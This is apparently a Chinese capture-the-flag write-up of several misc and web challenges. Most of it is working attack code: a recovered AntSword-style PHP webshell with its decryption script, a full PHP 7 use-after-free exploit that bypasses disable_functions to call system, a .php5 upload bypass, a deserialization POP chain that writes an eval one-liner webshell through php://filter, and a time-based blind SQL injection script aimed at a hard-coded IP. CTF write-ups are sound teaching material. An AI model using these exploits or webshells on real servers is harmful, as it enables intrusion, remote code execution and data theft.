MISC
misc1
txt打开乱码
用winhex打开选择 EBCDIC 编码就好了
misc2
Flask框架的题,最近遇到不少,该学学flask了
源码:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from flask import request
from flask import Flask
secret = open('/flag', 'rb')
os.remove('/flag')
app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'
@app.route('/')
def index():
return open(__file__).read()
@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
可以进行任意文件读取,但是由脚本开始处可知flag被读取后源文件就删除了
但是, 在linux中每个被打开的文件都会在/proc/self/fd/目录中有记录,其中(/proc/self/fd/文件描述符号;这个文件是符号文件)的文件就是文件描述符所对应的文件。
平时我们在/proc/self/fd
目录下使用ls时,只能看到0,1,2,255四个文件,但是当我们用ls自动补全功能(tab)时,能看到0,1,2,3,255五个文件。
自动补全功能是bash内置的一个功能,而ls
是系统上的一个程序,以子进程的形式独立于bash运行。所以如果bash这个自动补全功能打开了我们要补全的路径(文件夹也是文件),那么应该会获得文件描述符3,ls
也是一样。但是5736这个PID是bash的,所以我们用ls的时候看不到3而用bash的自动补全功能看得到。
python flask框架搭起来的服务器也是一个独立的程序,在此程序内打开的文件都会被记录于/proc/self/fd/3
中,所以我们可以直接读取/proc/self/fd/3
获得被打开的flag
/dev/fd/3
相同作用
misc3
见了鬼了,只能从控制台查看到关键信息
下载到html,利用记事本等工具打开一切正常
但是从控制台查看就有特殊信息
观察发现只有两种字符,猜测是二进制转字符串
webshell
审计流量,可以找到shell.php
转换完后:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "0897d";
echo @asenc($output);
echo "60c97";
};
ob_start();
try{
$p=base64_decode($_POST["0xc461e86196f1a"]);
$s=base64_decode($_POST["0x9ec3fa98a283f"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runcmd($c){
$ret=0;
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp, 2048));
}
@pclose($fp);
}elseif(fe('antsystem')){
@antsystem($c);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
有个比较坑的地方,我以为这个地方输出的是固定的字符,然鹅它输出的却是随机的十个字符
解密脚本:
<?php
$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";
function decrypt($cipher) {
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);
Web
ezbypass
php7的一个绕过disablefunction的洞,有两个解法
第一个,把github上的exp传上去exp
<?php
@pwn($_REQUEST['sdpc']);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
第二个,传上个一句话,利用蚁剑的插件bypass
ezupload
题目返回的信息太坑了
源码泄露,存在.index.php.swp
源码:
<?php
#error_reporting(0);
session_start();
include "config.php";
$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION['login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
}else{
header("Location: /index.php");
}
$mysqli->close();
看到预编译就知道sql注入没戏了
但是,当$password = $_POST['password'];
不存在时,$password即为null
同样,当sql语句查询不存在结果时,也返回null
所以,username随便写,把password删掉再post发包即可登陆
登录后是个上传界面,传个图片马上去,返回
array(1) { ["avatar"]=> array(5) { ["name"]=> string(35) "illust_60354621_20170730_211351.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpIkG6uP" ["error"]=> int(0) ["size"]=> int(1919322) } } upload success!
以为传到/tmp目录下了,谁知道用扫描器一扫有个/uploads,而且上传后的文件名都没变。。。
过滤了.php,但是还能用.php5
ezpop
代码审计
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
大体一看,B::set()
可以写入文件,而且文件的文件名、路径和文件内容后半部分可控,但前半部分有个exit()函数。
exit()函数可以利用base64_decode
以及php://filter
可以绕过。
谈一谈php://filter的妙用
为了绕过exit,我们需要将前半部分补齐,使其被base64解码掉,去掉<?;>()这些无法被base64的字符,php//exit一共9个字符,我们需要再加3个,才能4个一组
我们只能将三个字符拼接在$data
中,我们要写入的一句话木马也在$data
中,从67-69行可知,$data
经过了一些处理,而处理data用到的函数可以由options['serialize']
控制,所以我们可以控制其为base64_decode
,这样写入内容的绕过就解决了。
$data
调用了A::getForStorage()
赋值,其值可由A::complete
控制
为了调用能写文件的B类,我们需要用到A类中的save函数,我们只需要把A::store
赋值为B类,且A::autosave==false
就可以在第42行调用B::set()
再看看文件是怎么写的,文件名和路径由options['prefix']
控制,可以使用伪协议写,文件的后缀名有如下关系
EXP如下:
为了防止出错,我们还是把用不到的变量都赋下默认值吧。。
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/sdpc");
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qwq'.base64_encode('<?php @eval($_POST["sdpc"]);?>'));
echo urlencode(serialize($a));
ezwaf
源码:
<?php
include "config.php";
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
function escape($arr)
{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)
{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);
}
}
return $newarr;
}
$_GET= escape($_GET);
if (isset($_GET['name']))
{
$name = $_GET['name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");
}
本来以为直接用age
参数就能不用引号完成注入,但是?age=1 and sleep(5)
会报403。。。
后来才知道,这个题需要用到HTTP请求走私
HTTP走私介绍见另一篇文章
先看看这个题,这个题age参数看似没有过滤,但实际上服务器挂有waf,在遇到sql注入语句会返回403
由此可以尝试利用HTTP走私绕过waf,由于不知道走私的确切类型,可以一个一个尝试
首先是CL-CL类型的,前端代理服务器返回了400错误,但是后端服务器可以正常延时
其他类型尝试均未成功,不知道是我方法错误还是其他原因
于是乎,就可以拿脚本跑出flag
import requests
flag = ''
url = 'http://111.186.57.61:10601/?age='
for j in range(0,36):
for i in range(0,128):
try:
web = requests.get(url+'-1 or if((ascii(substr((select group_concat(flag_32122) from flag_xdd),{0},1))={1}),sleep(4),1)'.format(str(j),str(i)),headers={'Content-Length':''},timeout=2)
except Exception as e:
flag +=chr(i)
print(flag)
break